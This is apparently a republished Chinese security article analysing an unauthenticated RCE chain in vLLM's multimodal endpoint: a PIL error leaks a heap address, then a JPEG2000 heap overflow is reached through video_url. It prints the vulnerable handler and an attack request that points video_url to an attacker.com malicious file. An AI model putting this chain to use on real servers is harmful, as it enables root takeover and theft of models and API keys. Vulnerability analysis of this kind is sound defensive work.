vLLM如何通过三段请求拿下root

admin 2026-06-20 04:59:02 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档分析vLLM多模态端点存在的安全漏洞链,通过PIL错误处理泄露堆地址和OpenCVFFmpeg解析JPEG2000时的堆溢出漏洞,攻击者仅需3个HTTP请求即可实现未认证RCE并获取GPU节点root权限。漏洞组合可绕过ASLR并覆盖函数指针,威胁同服务器其他用户的模型数据与API密钥。建议及时修复相关组件并限制服务权限。 综合评分: 85 文章分类: 漏洞分析,WEB安全,红队,应急响应,恶意软件


cover_image

vLLM如何通过三段请求拿下root

原创

HeArt HeArt

船山信安

2026年6月18日 18:20 广东

在小说阅读器读本章

去阅读

vLLM是LLM推理服务的事实准,其GitHub 19k多星,它的底层采用的是PagedAttention把显存利用率拉到极高,也正因为这个原因,使得多模态端点成了整条链上最弱的一环。GitHub Security Advisory公开了这个CVSS 9.8的未认证RCE,3个HTTP请求就能拿到GPU节点的root shell。

攻击链由两段独立的bug拼接,单独任何一段都不足以触发,但两个加在一起就会起到连锁反应。第一段bug出现在PIL的错误处理。vLLM处理多模态输入时先用PIL打开图片做格式探测,异常信息会被直接塞进HTTP响应里返回给调用方。其中PIL的C扩展在某些错误路径下,str(e)会把堆内存里的指针地址一起吐出来。基于上面的原理,攻击者就可以发一张故意损坏的JPEG,PIL处理时崩溃,8字节的堆地址就这样从错误信息里泄露了。该为PIL错误处理漏洞代码(vllm/multimodal/image.py)

def _load_image_from_bytes(data: bytes) -> Image.Image:    try:        img = Image.open(BytesIO(data))        img.verify()        img = Image.open(BytesIO(data))        return img.convert("RGB")    except Exception as e:        # Bug:直接把异常对象str()后塞进error response,泄露堆地址        error_msg = f"Failed to load image: {str(e)}"        raise HTTPException(status_code=400, detail=error_msg)

光有堆地址还不够打RCE,这时候第二段bug登场。底层则是调用OpenCV自带的FFmpeg。就会使得JPEG2000帧的cdef box解析存在经典堆溢出,cdef box头部声明的component数量跟box实际大小可以完全不匹配。基于vLLM的多模态端点接受video_url参数的原理,其框架会把视频拉回来交来给cv2.VideoCapture()进行处理。攻击者就会构造一个n等于65535的cdef box,但实际上的box本体只有12字节,循环往堆上越界写入。

这两个漏洞被串联利用时,会按照以下步骤逐步夺取系统控制权:首先通过堆地址泄露漏洞,绕过ASLR(地址空间布局随机化)保护机制,精准定位内存中的关键数据;随后利用堆溢出漏洞,覆盖系统关键函数指针,从而篡改程序的正常执行流程。

由于vLLM服务通常以root权限运行在GPU计算节点上,一旦攻击者成功控制vLLM进程,就能直接获取宿主机的最高管理权限。这将导致同台服务器上其他用户的所有敏感信息完全暴露,包括正在运行的模型训练任务、存储的模型权重数据,以及下游应用的API密钥等核心资产。

攻击请求格式如下,video_url指向攻击者控制的恶意mov文件。

POST /v1/chat/completions HTTP/1.1Content-Type: application/json {  model: qwen-vl,  messages: [    {      role: user,      content: [        {          type: video_url,          video_url: http://attacker.com/evil.mov        }      ]    }  ]}

vLLM把这个链跟Ollama的Bleeding Llama放一起看特别有意思,Ollama是堆越界读能dump内存但拿不到shell,vLLM直接给了RCE。一个打数据一个打执行,合起来刚好把自建LLM推理服务的攻击面画完整。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:船山信安 HeArt HeArt《vLLM如何通过三段请求拿下root》

评论:0   参与:  0